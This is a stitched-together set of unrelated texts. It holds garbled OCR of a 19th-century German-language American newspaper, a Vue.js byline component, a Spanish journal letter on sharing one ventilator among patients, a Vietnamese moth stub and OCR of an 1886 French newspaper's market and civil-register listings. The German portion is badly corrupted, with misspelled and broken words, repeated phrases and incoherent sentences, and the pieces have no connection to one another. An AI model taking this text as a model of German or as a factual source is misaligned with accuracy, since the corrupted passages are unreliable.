Truppen in Rom inte terbrochen ökomenischen Konzil gegen Ende des Jahres wieder aufgenommen werden soll. Leo XIII. soll seit seiner Thronbesteigung mit dem Gedanken, das Konzil wieder einzuberufen, umge gangen und durch die gegenwärtige Lage der Kirche darin bestärkt worden sein. Vor allem wäre ihm darum zu thun, mit den Bischöfen eine Berhalungslinie in ihrer Beziehung zu der Staatsgewalt zu vereinbaren. Die Frage, dieser Konzil stand schon auf dem Programm des Konzils von 1870 und war in den Anschüssen erörtert worden. Die Notwendigkeit eines Beschlusses auf diesem Gebiete ist drin gender als je und scheint auf Leo XIII. einen entscheidenden Einfluß zu üben. Wahrscheinlich würde das Konzil sich auch mit dem Kongregationen zu schäftigen und Reformen vorzuschlagen haben, welche ihren Fort. Bestand in Frankreich sichern könnten. Was die im Vatikan herrschende Furcht, dass die französische Regierung ihre Bischöfen nicht gestatten würde, nach Rom zu reisen, betrifft, so stützt sich auf bloße Vermuthungen, da noch wenn auch noch so indirekte Anfrage an die Regierung ergangen ist. Monsignore Cataldi, der Zeremonienmeister Leo's XIII., ist eben in Paris angekommen. Der „Telegraphe" stellt die Frage, ob er mit einer Mission hinsichtlich des Konzils betraut sei. Eine paffende Zeitfrage. Welchen Höhepunkt muffen wohl die durch Wasfer und Feuer verursachten Schrecken, bis das amerikanische Volk sich unwillig erhebt, um Devenfiv-und Repressiv Maßregeln zu ergreifen? Seit Beginn des Sommers kam in unserem Land eine Reihe fast beispielloser Unglücksfälle-vor. Dampfer verbält an fütigen oder bohrten einander in den Grund, so daß zahlreiche Leben der Strafbaren Gleichgültigkeit und Unacht (umfassen) derjenigen, auf welche das Volk ein große und bliebenden Vertrauen fetzte, zum Opfer fielen. Ein Kohlen Ichacht oder ein Tunnel stürzte ein und sendete Dutzendejvon Arbeitern unter schweren Todeskämpfe, die fich eher denken als beschreiben lassen, in die andere Welt. Individuelle SelbsteutleibungS-Fälle find kaum erwähnen Wert, daß fie an Bedeutung und Interesse verlieren, wenn mit den "Schlächtereien im Großen" verglichen, welche so schrechliche Lücken in's Familien-Leben rissen. Und doch haben ben nur wenige dieser Calatiniäten, wenn fie untersucht würden, einen Ausdruck des Tadels bei Jenen hervorgerufen, denen die feierliche Pflicht oblag, der Verantwortlichkeit auf den Grund zu kommen. Was wird wohl die Untersuchung des Zusammenstoßes der Dampfer "Narraganf und Stonington", die Untersuchung der Cöllifion des Dampfer "Garland- milder Dampf-acht" Mamielür weiten Folge haben, als daß die Kie abgegebene Benedikte auszufüllig lauten werden. DaS Publikum habe sich damit zufrieden und verraußen, wenn die Publikum habe sich damit zufrieden und verraußen, wenn die Verletzungen werden muss begründen. Das Boll zu sa- es ist feli gen und zu te,—allein e Bestrafung stehen, so lc bezahlten Dampfbootß derer Comp? aS geschehen Soll tt kein Mittel zur hen zu Gebote Gesetze von be aet Eisenbahn-, eruugS- und an gemacht werden. Juna-Amerika. beitshaus, von da in daS Gefängnis und Zuchthaus, sind sie aber einmal zufällig frei, so belästigen sie sicherlich ihre Mitbürger und die Gerichte. So lesen wir in einem unserer Wechselblätter von Cleveland, O. Folgenöcke: „Frau Isaac ließ den achtjährigen Washington Irving Beeney und den neunjährigen Frank William, zwei Knaben von der Westseite, verhaften, weil sie in Gemeinschaft mit anderen Bünden am Morgen ihren kleinen Sohn Warren der Kleidung entblößten und ihn dann mit einem Leder-Rüne abwechselnd für lange schlugen, bis sie zu erschöpft waren, und die grausamkeiten Spiel fortzusetzen. Einer solchen That liegt gar nichts Kindliche zu Grunde, denn Kinder lieben wohl, Dinge zu zerstören, verstehen fügenuicht gern Schmerz tu. Das ist rafstürte Grausamkeit, und die Eltern solcher Kinder find wahrlich nicht zuweide. Die Anwalt des Glases. Ein altes Sprichwort, dessen Währheit fich vielfach erprobt hat, sagt, dass derjenige, welcher in einem Glaubenschlecht, auf Andere nicht mit Steinen werden solle. Allein, mag immerhin das Sprichwort im Moralische Sinnerecht hat, die materielle und mechanische Welt weist heutzutage, durch die praktische Anwendung auf die Baukunst sein ähnliches nach, da selbst Häuser aus GlaS werden müssen. Eine Furcht zu hegen braucht, dass die Steinen eingeworfen werden, daß die Steinen eingeworfen werden. Wenn man Eisenbahnschwellen aus GlaS machen kann, die Widerstandkraft genug befürchtet, um den Stoff schwer bei der Stadt fchwer bei der Stadt fchwer bei der Gebälke auszuhalten, kann man wohl nicht mehr in Abrede stellen wollen, dass die GlaS nicht auch zu Wänden und Dächern, ja selbst zum Gebälke vorgenommen werden kann. Es wird die Zeit kommen, wo man Wände ausfarbigem GlaS und Zimmerböden aus starkem Papier an das unzerstörbare Gebälke ausgelegt werden kann. Wenn GlaS zu so geringe Kosten Hergestellt werden kann, dass man unzerstörbare Eisenbahnschwellen daraus macht, so wird auch Niemandem der Gedanke, zu Baumaterial zu verwenden, schmärifch erscheinen. Ist es im Hinblick auf die neuesten Entdeckungen de la Bastie's, H. Lindfay's, Bucknall's Siemens' und Anderer, welche «achgewiesen haben, dass GlaS eine Spannkraft von 635 Tonnen auf den Quadratzoll aus hält und hergestellt werden kann, dass ein der Hitze, wie der Kälte Wiederstand leistet, während es auch in Form von nur 4—5 zöltigen Schwellen den Druck eines schweren EisenbahnzugS auszuhalten vermag, ohne eine wahrnehmbare Spur desselben zu zeigen ist dann nicht möglich, dass dem sogenannten Eisenbahnzug weißen muss. De la Bastie nimmt jeden Gegenstand aus dem von ihm fabricierte. ten Glase und taucht ihn bei Weißgluth in ein Bad von verschiedenen Oelen und Fetten. Die daraus erfolgende, Hörte hängt größtentheils von der relativen Tenoräur sowohl des GlaS, als auch des BadeS ab. Weiches KrystallglaS auS Soda, Blei und Kalk zusammengesetzt, hat sich wettig besser erwiesen, als eine gewöhnliche Sodatalkmischung allein je heißer das GlaS ist, wenn es einge taucht wird, um so besser taugte zur Einweichung. Dass Gleiche lässt sich von dem Bade sagen. Gewöhnlich angelassenes GlaS, welches die Stärke von etwa 7000 Pfund auf den Qua drängen besitzt, erhält mittelö. Forgfältiger Abkühlung in freier Lust die doppelte Stärke, und wenn es dann noch mit Öl behandelt wird, erfährt feine Stärke eine Steigerung bis auf 34,200 Pfund auf den Qua drängen. Moran es liegt das in unserer glorreichen Republik ein so unverhältnis große Anzahl jugendlicher Raufbolde und Bösewichter aufzuweisen, wollen wir nicht zu erklären suchen, doch steht die Tatsache selbst ohne Zweifel fest. Die Rohheit beginnt bei diesen Menschen ungemein frühzeitig und reist, mit ächtamerikanischer Schnelligkeit. Erst vor ein paar Tagen begangen wir bei der hiefigen Brücke einer Rotte nichtswürdiger Buben, welche eine arme Katze auf's Entsetzlichste mächtigten, und dabei wie die Türken flüchten. Als man uns herannahen sah zerstöben fie wie Spreu vor dem Winde. Was ist die Zukunft dieser Pflanzen? Schule wird vernachlässigt von Gott, Religion und Tugendwiffen fie so viel wie Nichts und nirgends findet das Sprüchwort: „Müßigang ist aller Laster Anfang" besser Anklang als bei diefen. Arbeiten wollen oder können sie nicht, aus dem einfachen Grunde, weil sie seitens der Eltern nicht Dazu angehalten worden find. Vom Zufluchtshause wandern sie in das während, so kostet das Glas bei gleichen So lange die Masse noch heiß ist, kann man irgend eine Befestigung von Eisen bei Rothgluth in das Glas vor nehmen, welcher Einsatz ganz fest hält, so bald das Eisen und Glas mit einander abgekühlt sind. Die Kosten dieses erweichten Glases sind dem Gewicht nach denen des Gussens gleich. Da aber das specisische Gewicht des Glases nur ein Dritttheil desjenigen von Gussen Dimensionen nur ein Dritttheil dessen, was Gussen kostet. Der Bortheil, mit welchem man Glases statt eiserner Schwellen benutzt, tritt nicht minder auch bei anderer Verwendung hervor. Hier findet kein Rostfraß statt, wie beim Eisen, und kein Faulen, wie beim Holz. Zu Gas-, Wasser-, Drain-Röhre, zu chemischen Zwecken und zahllosen anderen Dingen, wo Festigkeit und Stärke mit Dauerhaftigkeit gepaart von nötten sind, muß dies Glas die besten Dienste leisten. Man darf daher wohl annehmen, dass wir in Zukunft sowohl in gläsernen Häuserji wohnen können, wie man heute bereits über gläsernen Eisenbahnfchwellen dahinfährt, dass wir Wasser ebenso gut aus gläsernen Röhren beziehen, wie man es aus Geschirren von GlaS trinkt, daß wir unter gläsernen Dächern leben, die dem Hagel, wie dem Blitze Widerstand leisten, und ohne uns vor den Steine unserer Feinde furchten zu müssen, und dass wir drei, wenn nicht bis dahin die Leichenverbrennung allgemein wieder eingeführt sein sollte, in gläsernen Särgen unter gläsernes Gewölben beigesetzt werden. So' groß wirbt drei die Universalität des Stoffes werden, welcher bis jetzt noch immer als ein Symbol der Vergänglichkeit gilt. S a a 1 6ltibl|c«crbon Waldorf gehalten. Die dortverabreichten, stets ausgezeichneten Gestern PrädikatNo.1 Und empfahlen sich vonselbst Frische München Polis Lager Bier stets an Hand. Erde und Himmel werden Rechen schaft von ihr fordern. Wenn ober das Weib eine so heilige und in der Tat auch schwierige Mission zu erfüllen hat, so muß es auch mit denjenigen Kenntnissen und Fertigkeiten ausgerüstet sein, welche ihm die Erfüllung feiner Aufgabe möglichen. Welche find da 1. Bor allen Dingen jene religiöse Bildung, welche die echt weibliche Tugenden der Demuth, Sanftmuth und de« gesellschaftlichen Anstände entspringen. 2. Diejenige Bildung des Geistes, welche das Urteil schärst und die Seeleistung steigert, dann aber auch die Kenntnis aller jener Dinge, welche zur Führung eines geregelten Haufwesen, unentbehrlich find. Im Folgenden wollen wir nun sehen, ob unsere Frauen und Mädchen, vorzüglich die gegenwärtigen, auf diesem Standpunkte stehen und finden wir leider das Gegenteil, was sehr zu befürchten ist, so wollen nur zugleich die Mittel aufsuchen, welche geeignet find, sie auf demselben emporzuheben. Da von wird Manche für alle Klassen der eigentüm Menschen ein Gleichgültigkeit haben doch weise ich schon hier darauf hin, dass ein hauptsächlich für die Töchter unseres Mittelstandes gelten soll. Nach oben und nach unten find die Verhältnisse wesentlich anders, und was dem Bürgermädchen ziemt, paßt nicht in demselben Mäaße für die durch Rang, Reichthum und Geburt bevorzugten. Frauen der höheren Gesellschaft. Werfen wir einen Blick auf das Frauengeschlecht der Gegenwart und vergleichen wir eS mit der Generation unserer Mutter und Großmütter, so können wir einen bemerkenswerten und fast erschreckenden Unterschied unfern Augen nicht verschließen. Nicht dass die Töchter der Gegenwart häßlicher und minder liebreizend geworden wären aber fie haben mehr oder minder daS echte Weibliche verloren, welches nicht allein an der schönen, sondern auch an der häßlichen Frau gefällt. Sie find aus der Refere, in welcher fie fich so lieblich ausnehmen, in die Avantgarde getreten, und greifen, anstatt fich zu verteidigen. Die Rose, welche in den Thätigsten des Morgens aus der Halbgeöffneten Knospe ihren Duft aufstattet, hat sich im sengenden Strahle der Sonne bis auf das letzte Blättern weit erschlossen die Poesie ist dahin. Das Weib ist nicht mehr das bescheidene Veilchen, welches sich mit seinem Wohlgeruche verbirgt es ist zur prunkenden Untergehen, welche mit großen Farben am Wege steht, und die Vorübergehen den einladet, ihre „kalte" Schönheit zu bewundern. Der dominierende Grund zug in den Herzen unserer Frauen ist die Gefallsucht. Allerdings bedarf ihre schwache Natwder kräftigen Stütze des Mannes, und fie können dieser nur teilhaftig werden, wenn fie ihm gefallen aber fie lassen dabei einen wesentlichen Faktor außer Acht. Während fie mit allen möglichen Raffination ihren Körper schmücken und diejenigen schaften ihres Geistes ausbilden, welche einen gewissen Glanz um fie verbreiten, vernachlässigen sie die echt weiblichen fugend. en und werden zu gehaltlosen Schaugestalte, die unmöglich gefallen können, fondern lediglich reizen, nicht die Liebe, fondern nur und allein die bestialische Leidenschaft wachrufen. Das bei dem Mangel an wirklicher Frömigkeit auch eit den anderen weiblichen Tugenden fehlt, versteht sich vor selbst. Diese verkehrte Richtung beginnt in der Regel schon im zartesten Kinde Salter. Die Mutter, selbst von falschen Grundsäßen durchdrungen, oder vielmehr Grundsatzlos den unordentlichen Gelüsten ihres Herzens und die Wogen des modernen Lebensstromes, folgend, hegen und pflegen den Keim der Putzsucht auch in ihrer Töchtern, und et schießt so wuchernd emporium schon bei der ersten hl. Communis, die Hauptfrage des Mädchens sich auf das Feier Neid und nicht auf die hl. Handlung bezieht. (Fortsetzung folgt.) Der Mordfte in Pflicht Bon Wm. Willens. In Burr Oak, nahe Preston, hat ein Farmer ein ansehnliche Pfirsich ernte erzielt. Die Früchte waren ausgezeichnet. Little Falls wünigstens (cht Jemanden ver mit $30,000 Kapital eine Bank da selbst gründet. Ein Hotelsitzer zu Grinnell Falls tauschte mit einem Fremden Pferde. Es der Fremde folgte, erschien der Sheriff von Mankato und holte die eingehandelten Pferde ab. Sie waren in Mankato gestohlen worden. Stillwater war am Donnerstag in die größte Aufregung versetzt durch die Nachricht, dass E. McCann, auf den Farm die Explosion stattfand, nahe der Stadt überfallen, um $400 beraubt und ermordet worden sei die Nachricht war zum Glück eine fällige. Mankato. Die County Commissäre vergaben den Contract für den Bau der eisernen Brücke über den Wottonwan Fluß bei Garden City an die Morse Bridge Co. von George, Town, Ohio, für $6,3000. Die Brücke wird 175 Fuß lang sein und muß bis zum 15. Oktober beendet werden. In Folge einer verruckten Wette wird Frank Schlager fein Leben verlieren. Er wettete, dass er eine Quart Whiskey und 10 Glass Bier in kurzer Zeit austränken könne. In Dem Bureau der Northwestern Telegraph Co. brach in der Donnerstag Nacht ein Feuer aus, welches einen Schaden von $150 anrichtete. In Scottland, Dakota Terr., verunglückte am Donnerstag Herr John Bauer äuß Faribault, indem er von einem Gerüst herabfiel und sich das Genick brach. Aus dem Duluth Gefängnis entwischten am Donnerstag zwei wegen polizeiwidrigen Betragens Eingesperrte, indem sie zum Schornstein hinaus auf das Dach kletterten und von diesem sich herabließen. Weitere Nachrichten über den Sturm, der das nördliche Dacota heim suchte, melden, dass bisher nur 3 Todes fälle konstatirt find. Alex. Brunnelle, ver 12 Meilen nördlich von Fargo eine Farm besaß, ein 12jähriges Kind des Herrn Charles Dukelow, der in der Nähe von Mapletsn wohnt, und ein Herr Brown sind die Verunglückten. Das Befinden des nach Stillwater gebrachten Herrn John Lynch lässt weinig Hoffnung für sein Aufkommen übrig. R. S. Smiley aus Spring Lake im Scott Co. fuhr am Sonntag mit seinem Wagen, auf dem fich außer ihm noch feine Frau und drei Söhne befannt, in den See, um die Pferde zu tränen. Letztere wurden scheu und warfen den Wagen um. Die drei Kinder ertranken und Frau Smiley konnte nur mit Mühe und Noth gerettet werden. Das 2Wrige Kind von Mich. Minker, bei Eagle Lake kam dem Kochofen zu nahe, die Kleider fingen Feuer und das Kind wurde so schlim verbrannt, dass es starb. Ein Unfall, der leicht von den schrecklichsten Folgen hätte. te fein können, ereignete fich in Le Sueur bei dem Begräbniß des Herrn Jos. Whalen. Alle Personen, welche im Innern des Hauses nicht Platz finden kommen, befanden fich vor demselben, als plötzlich zwei von einem Jungen in der Nähe geleiteten Pferde scheu wurden und gerade auf die vor dem Haufe versammelte Menge löstens. Diese wollten natürlich in! Haus dringen, aber die innerhalb befindlichen durch das Geschrei aufmerksam gemacht dränken nach Außen und in diesen Knäusel stürzten die Pferde. Eine Frau Spence wurde ziemlich schwer verwundet, während acht andere mehr oder weniger stärk verletzt wurden. Es ist als ein Wunder zu betrachten, dass kein größere! Unglück zu beklagen ist. "S— In Faribault blüht jetzt das Muk kergefchäft. Die Polizeistunde wird streng innegehalten und jeder Wirth, dessen Lokal «ach 11 Uhr noch offen gefunden wird, unbarmherzig um $10 gestraft. Ein fünf Meilen von Redwing wohnender Farmer, NamenS Hahn, wurde am Samstag durch das Gebrüll seiner in den Garten gedrungenen Vieh Heerde erweckt. Als er die Thiere her* austrieb verwundete ihn ein Stier so schwer, daß er nach kurzer Zeit feinen /t» tl t. Geist aufgab. Vn V-t rf U' In Waufau, WiS., hat der Zahn arzt Bennett letzten Dienstag Abenfr feinen Concurrenten Edwin L. Hazle erschossen. Brodneid war das Motivs, der That. A»f eine sehr icltflienbc W«isi kawen vorigen Freitag Mittag 3 jungt* Fl 3«t". Leute, nicht älter als 16—18 auf einem Frachtzug von Duluth nach Minneäpolis um's Leben. Dieselben waren, mit 4. Cameraden nach) dem ersteren Platz gegangen, um dort Beschäftigung zu erhalten, und da fie dieselbe nicht fanden, wollten sie wieder nach Haufe, zu ihren in Minneapoli« wohnenden Eltern zurückkehren. ES fehlte ihnen hierzu das nöthige Geld u.. sie kamen darum auf den Gedanke», sich in einem der leeren CarS zu verste« cken u. so die Reise als blinde Passagiere mitzumachen. Alle« ging denn auch soweit gut von Statten, bis es da*v Unglück wollte, daß in der Nähe von Pine City ein Car zusammenbrach, was zur Folge hatte, daß 9 nachfolge«» de CarS vom Geleise kamen und eine» Abhang hinunterstürzten. Man war im Anfang froh, daß, wie man annahm^ kein Menschenleben dabei zu Grunde ging, denn die sämmtlichen Bahnbe diensteten waren zur Stelle aber bald überzeugte jämmerliches Wehegefchrei^ das von den Wagentrümmern im Gra ben hertönte, daß man sich in diesem Annahme getäuscht habe. E« war der kaum 17jährige Ed. Conliy, der, zum Glück nicht schwer verwundet, unter den Trümmern lag und nach Hülfe rief. Von ihm erfuhr man denn, nachdem er hervorgezogen, den nähern Hergang der Sache und wie er mit seinen drei Reise begleitern in den Frachtwagen gekommen war. Die drei Letztgenannten Peter Martin, George Adams und John Ervine, alle 3 von Minneapoli fand man, zerquetscht und zermalmt tobt unter den Trümmern. Mankato Beobachter: Die Aufnahmsprüfungen für die Normalschule finden statt am Montag und Dienstag in nächster Woche. Die Schule beginnt am Mittwoch.—Am Dienstag in vorigen Woche gebar Frau Heinrich Müller von Winnebago Agency ein Kind und in der Nacht ein zweites. Der die Frott behandelnde Arzt verließ am Morgen die todtkranke Wöchnerin, sagte, er werde bis Mittag wieder zurück sein und befahl den Leuten, keinen anderen Arzt zu rufen. Der Doktor kam aber nicht wieder, ein drittes Kind konnte nicht ge boren werden und die Frau starb am Donnerstag Morgen. Herr Magnus von Mapleton, Vater der Frau Müller, beschuldigt den Arzt, eine große Nach lässigkeit begangen zu haben. Ein junger 17jähriger Mann Namens Staufer wurde am Samstag wegen Fälschung einer Note im Betrage von $75, auf den Herrn Boutwell von Kasota, verhaftet. Staufer erklärte schuldig und wurde von Friedensrv Johnson an die nächste Distrikt überbunden. Eine schreckliche Tragödie trug am vorigen Freitag in Minneapolis zu Ein gewisser Ch. H. Richmond, früherer Eifenbahnfrachtconductor, war auf Abweg geraten, misshandelte seine Frau und hatte sie darum veranlaßt, fich zu trennen. Neuerdings machte er wiederholte Versuche, dieselbe zur Rückkehr zu bewegen. Wütend darüber dass es ihm nicht gelang, lauerte er dann auf sie, schoß sie beim Haus, wo sie sich aufhielt nieder und er schoß sich dann selbst. Der größte Feind der Quacksalber, Patent-Medizin-Fabrikanten, elektrizischer Gürtel u. Ring Verfertigung, Verfertigung, Herausgeber werthloser Bauernfänger Bücher und ähnlicher Zaberer ist der „Rettungs-Anker." Warum? Weil das vortreffliche Buch das erbärmliche Treiben dieser Spekulationen enthüllt, ihnen das schnödliche Handwerk legt und den Kranken und viele Jahre zur wahren Hülfe zeigt. „Philo. Freie Presse." N. B. Der „Rettungs-Anker" wird für 25. Cents frei versandt. Adresse Deutsches Heil Institut, 412 North 4 Str., Philadelphia, Pa. Hotel- und Saloon Eigentümer von Stadt und Land werden ersucht beißen vorzustellen und sein außerordentlich und billiges Lager von Liquoren und Cigarren zu besichtigen. und nach dem sich zu erkundigen. | 16,941 |
https://github.com/mplusmuseum/stories-frontend/blob/master/src/components/SnippetByline.vue | Github Open Source | Open Source | MIT | 2,021 | stories-frontend | mplusmuseum | Vue | Code | 368 | 1,086 | <template>
<snippet-translate class="byline"
:snippet="this.snippet"
:data="{ author, authors, categories, talkcategories, date }"
:parsers="{
author: parseAuthor,
authors: parseAuthors,
categories: parseCategoriesByName('blog'),
talkcategories: parseCategoriesByName('talk'),
date: parseDate,
}"/>
</template>
<script>
import _ from 'lodash';
import SnippetTranslate from './SnippetTranslate.vue';
export default {
props: {
snippet: {
required: true,
},
categories: {
type: Array,
default: () => [],
},
talkcategories: {
type: Array,
default: () => [],
},
date: {
type: Object,
},
author: {
type: Number,
},
authors: {
type: Array,
},
link: {
default: true,
},
},
methods: {
naturalList(items) {
const separator = this.$t({ en: ', ', tc: '、' });
const conjunction = this.$t({ en: ' and ', tc: '及' });
const conjunctionOxford = this.$t({ en: ', and ', tc: '及' });
return items.reverse().reduce((arr, auth, index) => {
if (index === 1) {
if (items.length > 2) {
arr.push(conjunctionOxford);
} else {
arr.push(conjunction);
}
}
if (index > 1) arr.push(separator);
arr.push(auth);
return arr;
}, []).reverse();
},
parseAuthor(id, h) {
if (!id) return false;
const author = this.$store.state.site.authors[id];
return this.link ? h(
'router-link',
{
props: {
to: {
name: 'search',
query: {
q: this.$t(author.title),
},
},
},
},
this.$t(author.title),
) : h('span', {}, this.$t(author.title));
},
parseAuthors(ids, h) {
if (!ids || !ids.length) return false;
const el = this.link ? 'router-link' : 'span';
const authors = ids.map((id) => {
const author = this.$store.state.site.authors[id];
const opts = this.link ? {
props: {
to: {
name: 'search',
query: {
q: this.$t(author.title),
},
},
},
} : {};
return h(el, opts, this.$t(author.title));
});
return this.naturalList(authors);
},
parseCategoriesByName(name) {
return (categories, h) => {
if (!categories.length) return false;
const seperator = { en: ', ', tc: '，' };
return _.reduce(categories, (arr, category, index) => {
const content = this.$t(category.title);
if (this.link) {
const data = { props: { to: { name, query: { category: category.name } } } };
arr.push(h('router-link', data, content));
} else {
arr.push(content);
}
// Add separator between list elements
if (index < categories.length - 1) arr.push(this.$t(seperator));
return arr;
}, []);
};
},
parseDate(date, h) {
if (!date) return false;
return h(
'span',
{},
this.$t(date),
);
},
},
components: {
SnippetTranslate,
},
};
</script>
<style lang="less">
@import '../less/variables.less';
.byline {
margin: 0.5em 0;
a {
font-weight: @fontBold;
}
&:last-child {
margin-bottom: 0;
}
}
</style>
| 15,960 |
https://openalex.org/W4239725252_1 | Spanish-Science-Pile | Open Science | Various open science | null | None | None | Spanish | Spoken | 324 | 740 | Gaceta Médica de México
Sin contar con el consentimiento previo por escrito del editor, no podrá reproducirse ni fotocopiarse ninguna parte de esta publicación. © Permanyer 2020
Carta al editor
¿ Un solo ventilador para varios pacientes?
Single ventilator for multiple patients?
José L. Sandoval-Gutiérrez*
Instituto Nacional de Enfermedades Respiratorias “Ismael Cosío Villegas”, Subdirección de Servicios Auxiliares de Diagnóstico, Ciudad de México,
México
El doctor Castañón González et al. publicó un interesante artículo acerca de la posibilidad terapéutica
de ventilación mecánica simultánea:1 describen un
trabajo experimental con el cual identificaron que no
había diferencias estadísticas significativas en los
diferentes parámetros ventilatorios.
Este escenario fue pensado debido al déficit de ventiladores ante la pandemia de COVID-19. En contra de
la recomendación al respecto, algunos especialistas
consideraron que esta opción podría ser necesaria, si
bien constituía una medida extrema. Hasta el momento
desconocemos si algún centro la ha implementado,
probablemente no por las connotaciones éticas y
bioéticas que conlleva.
Conectar a un solo ventilador a dos o más pacientes con síndrome de dificultad respiratoria, diferentes
mecánicas respiratorias y estados basales de gravedad, complicaría el manejo y seguimiento de los
casos. Aun cuando los circuitos disponen de filtros,
el control de las infecciones no sería el óptimo. Si la
intención es tanatológica, se pudiera considerar
dicho fin, pero, por supuesto, no sería una medida
terapéutica.
Si bien la sabiduría popular dice “donde comen dos,
comen tres”, aún no puede señalarse que “donde se
ventila uno, se ventilan dos”.
Bibliografía
1. Castañón-González JA, Camacho-Juárez S, Gorordo-Delsol LA, Garduño-López J, Pérez-Nieto O, Amezcua-Gutiérrez MA, et al. Ventilación
mecánica simultánea con un solo ventilador a varios pacientes. Gac Med
Mex. 2020;156:250-253.
Correspondencia:
Fecha de recepción: 16-06-2020
*José L. Sandoval-Gutiérrez
Fecha de aceptación: 18-06-2020
E-mail: [email protected]
DOI: 10.24875/GMM.20000398
Gac Med Mex. 2020;156:367
Disponible en PubMed
www.gacetamedicademexico.com
0016-3813/© 2020 Academia Nacional de Medicina de México, A.C. Publicado por Permanyer. Este es un artículo open access bajo la licencia
CC BY-NC-ND (http://creativecommons.org/licenses/by-nc-nd/4.0/).
367.
| 8,875 |
https://vi.wikipedia.org/wiki/Eutelia%20fulvipicta | Wikipedia | Open Web | CC-By-SA | 2,023 | Eutelia fulvipicta | https://vi.wikipedia.org/w/index.php?title=Eutelia fulvipicta&action=history | Vietnamese | Spoken | 16 | 41 | Eutelia fulvipicta là một loài bướm đêm trong họ Noctuidae.
Chú thích
Liên kết ngoài
Eutelia | 34,819 |
bpt6k47837550_4 | French-PD-Newspapers | Open Culture | Public Domain | null | La Liberté | None | French | Spoken | 3,870 | 8,206 | Spiritueux Alcools. — Les 3/D du Nord (l'hectolitre à 90 degrés, nu en entrepôt). Disponible, hS "" à ^8 95. — Courant, h8 ,o à h8 95. — Prochain, 148 50 à "" »». — Mars-avril, hS 50 à h8 75. — h de mai, h9 "" à h9 25. RflîSKO. Sucres Sucres d'usine n.° 3 (en entrepôt da Paris). On cote a une heure : Liquidation, "" <w à »>» »». — Courant, J49 »» à A2 12 DI", — Mars, A2 25 à JëJ. 37. — Mars-avril, h2 62 à »» »». — h de mars, hr;l. 75 a h3 »». — h de mai, h3 37 à h3 50. Marché en hausse. Sucres roux. — De 35 25 a "" »»» les 38 dcgrés, Paris. Sucres raffinés. — De 100 ,n, h 101 ':" les 100 kilos, suivant marques et livraisons, a i comptant, sans escompte. Marché aux bestiaux Paris (La Villette), h février 1833. I «a I •« ' '1 COURS -3 3 3 S rRI:< < H D p officiels 5 Cr a extrêmes »-« t» O CO © • Bœufs 2.108 1 60 1 1/9. 1 2M lh h 1 &> Vaches 507 1 52 1 3J 1 12 1 02 à 1 56 Faureaux... 157 1 96 1 16 1 08 » 98 à 1 30 Veaux 1.232 2 24 a 0k 1 80 1 6J4 à n 50 Moutons.... 17.230 1 80 1 60 1 J40 1 98 à 1 SU Porcs ..... I 3.537J1 J,6 1 42 1 36 1 30 à 1 52 Vente facile et en hausse légère sur les Dœufs et les moutons, calme sur les veaux et in forte hausse sur les porcs. Peaux de moutons 1/2 laine. 2 »» à 3 50 — — on lains. 3 75 à 6 75 DÉCLARATIONS DE FAILLITES Du 30 janvier. QUANTIN (François-Victor), marchand de vin-'cstaul'ateur, demeurant à Paris, faub. Saint-Ionoré, 60. M. Hècaën, r. de l'Ancienne-Comédio, II,, s. pr PARIS (Alexandre-Louis), entrepreneur de travaux publics, demcurantà Paris, r. d'Alésia, 8J. M. Bonneau 6, rue de Savoie, syndic prov, MÉLAN (François-Charles), marchand de fils et e soie pour machines, demeurant à Paris, rue .amey, 19. M. Bernard, r. St-André-des-Arts, h7, s. prov. ' CANA (Alexandre-Léon), fabricant d'embau-hoirs et de formes, demeurant ,à Paris, rue ébeval, 9. MRRruard. r. Rt-André-des-Arts. ii7. svnd. nr VAZEILLE (Louis), tenant hôtel meublé, demeurant à Paris, rue de Bretagne, 5. M. Châle, 7, boul. Saint-Michel, syndic prov. Société en nom collectif et en commandite Léon BÉRANGER et C% ayant pour objet le commerce de bimbeloterie, et siège à Paris, rue du Pont-Neuf, 17 et 19, composée de : 1° Léon Bé-ranger, demeurant au siège social; S" d'un commanditaire. M. Hécaën, r. de l'Ancienne-Comédie, 14, s. pr. GALLAND, boulanger, demeurant à Paris, rue Ramey, 50. M. Ménaut, boul. St-Michel, 51, syndic prov. Du 1er février. Dame veuve DANCHAUD (Joséphine Germé, veuve de Joseph Danchaud), entrepreneur de maçonnerie, demeurant à Neuilly, hl ter, avenue du Roule. MA Roucher, rue Hautefeuille, 1 bis, s. prov. Société en nom collectif ROUX et BARDIN, ayant pour objet le commerce de meubles en gros et détail, dont le siège social est à Paris, rue Chaligny, 27 (ancien 23), composée de : 1, Isidore Roux, demeurant à Paris, rue Croza-tier, 73; 2° Henri Bardin, demeurant à Paris, rue du Faubourg-Saint-Antoine, 321. M.Bonneau, 6, rue de Savoie, syndic prov. PUBLICATIONS DE MARIAGES M. Gauchard, bijoutier, rue du Temple, 168, et Mlle Lemonon, passage Colbert, 16. M. Rousseau, employé, à Villemomble, et Mlle Grillet, rue de l'Arbre-Sec, 35. M. Deligne, facteur aux Halles, rue des Halles, 11, et Mlle Houel, rue des Prêcheurs, 11. M. Jacquet, bijoutier, rue de la Paix, 10, et Mlle Soulens, avenue de l'Opéra, 96. M. Vivat, négociant, rue Montmartre, 17, et Mme veuve Brasseur, rue Royale, 6. M. Wickham, interne des hôpitaux, rue de la Banque, 16, et Mlle Guillerme rue de Prony, 53. M. Paget, négociant, rue de Mulhouse, 11, et Mlle Baulant, à Colombes. • M. Gaudin, inspecteur au Gaz, rue d'Abou-kir, 121, et Mlle Lunel, boulevard Saint-Martin, 11. M. Combettes, représentant, quai de l'Hôtel-de-Ville, A2, et Mlle Boisson, divorcée Delaroche, même quai. M. Austruy. négociant,à Gennevilliers, et Mlle Geoffroy, rue des Barres, 15. M. Perny, rentier, à Créteil, et Mlle Boineau, quai de l'Hôtel-de-Ville, 18. M. Forget, architecte, rue de Rivoli, M, et Mlle Hédin, à Lyon. M. Louis, ditMacadré, maître d'hôtel, rueCau-martin, 3, et Mlle Cassan, à Eaubonne. DÉCÈS ET INHUMATIONS Arr. Du 30 janvier 1886. 1 M. Bonnerot, h6 ans, rue Cambon, 22. M M. Togni, 65 ans, r. Cloîtrc-St-llonoré, 6. » Mme Çorbex (v'), 7A ans, r. de Viarmes, 18. » Mme Bourg, 59 ans, r. St-Honoré, 150. » M. Gransire, A2 ans, rue Courtalon, 8. 2 Mme Lenoir, 61 ans, rue St-Dcnis, ^51. » Mme Bollet (vc), 69 ans, r. Ste-Anne, 61,. » M. Bierre, 35 ans, r. des Petits-Carreaux, 9, 3 M. Horrer, 81 ans, bd Beaumarchais, 91. h M. Delachat, 67 ans, rue des Francs-Bourgeois, 29. » M. Oudin, 39 ans, rue du Bellay, 19. » M. Lautier, 7A 